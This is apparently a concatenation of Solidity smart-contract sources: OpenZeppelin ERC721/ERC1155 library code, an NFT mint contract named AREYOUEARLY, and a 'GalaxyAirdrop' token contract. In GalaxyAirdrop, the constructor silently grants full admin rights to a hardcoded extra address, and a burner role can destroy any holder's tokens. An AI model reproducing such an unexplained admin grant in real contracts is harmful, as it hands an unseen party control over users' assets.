* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
*
* If you mint this project, ur early ♥
*
* twitter.com/areyouEARLY
*
*/
contract AREYOUEARLY is ERC721,
ERC721Enumerable,
ERC721Pausable,
Ownable
{
using SafeMath for uint256;
uint256 public constant MAX_EARLY = 8888;
uint256 public Start_id = 1;
uint256 public constant PRICE = 0.08 ether;
string public baseTokenURI = "ur_early://";
event CreateEARLY(uint256 indexed id);
constructor()
ERC721(
"LOOKS LIKE UR EARLY",
"EARLY"
) {}
function YOU_SHOULD_CALL_THIS_MINT_FUNCTION_(uint256 count)
public
payable {
uint256 currentTotal = totalSupply();
require(count > 0,
"Count must be greater than 0");
require(currentTotal.add(count) <= MAX_EARLY,
"Requested amount exceeds what is available!");
require(currentTotal <= MAX_EARLY,
"Not enough earlys available.");
require(msg.value >= PRICE.mul(count),
"Incorrect price.");
for (uint i = 0; i < count; i++) {
uint id = Start_id;
_safeMint(msg.sender, id);
emit CreateEARLY(id);
Start_id++;
}
}
function _baseURI()
internal
view
virtual
override
returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI)
public
onlyOwner {
baseTokenURI = baseURI;
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), 'ERC721Metadata: URI query for nonexistent token');
return baseTokenURI;
}
function pause()
public
onlyOwner {
_pause();
}
function unpause()
public
onlyOwner {
_unpause();
}
function withdrawAll()
public
payable
onlyOwner {
_widthdraw(owner(), address(this).balance);
}
function _widthdraw(address _address, uint256 _amount)
private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Recovery failed.");
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
)
internal
virtual
override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, ERC721Enumerable)
returns (bool) {
return super.supportsInterface(interfaceId);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract GalaxyAirdrop is ERC1155, Ownable, AccessControl {
using Strings for uint256;
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
uint256 public constant GALAXY_AIRDROP_ID = 0;
bool public isAirdropActive = true;
string public name;
address mb = 0xDfa857c95608000B46315cdf54Fe1efcF842ab89;
struct Airdrop {
address account;
uint256 amount;
}
event AirdropActivation(bool isActive);
modifier whenAirdropActive() {
require(isAirdropActive, "GalaxyAirdrop: airdrop is not active");
_;
}
constructor(string memory name_) ERC1155("") {
name = name_;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(DEFAULT_ADMIN_ROLE, mb);
}
function airdrop(Airdrop[] calldata airdrops)
public
whenAirdropActive
onlyRole(AIRDROP_ROLE)
{
for (uint256 i; i < airdrops.length; i++) {
_mint(airdrops[i].account, GALAXY_AIRDROP_ID, airdrops[i].amount, "");
}
}
function setBurner(address burnerAddress) external onlyOwner {
_setupRole(BURNER_ROLE, burnerAddress);
}
function toggleAirdrop() public onlyOwner {
isAirdropActive = !isAirdropActive;
emit AirdropActivation(isAirdropActive);
}
function uri(uint256 id)
public
view
virtual
override
returns (string memory)
{
require(id == GALAXY_AIRDROP_ID, "GalaxyAirdrop: Invalid id");
return super.uri(GALAXY_AIRDROP_ID);
}
function setURI(string memory uri_) external onlyOwner {
_setURI(uri_);
}
function burn(
address from,
uint256 id,
uint256 amount
) external onlyRole(BURNER_ROLE) {
_burn(from, id, amount);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
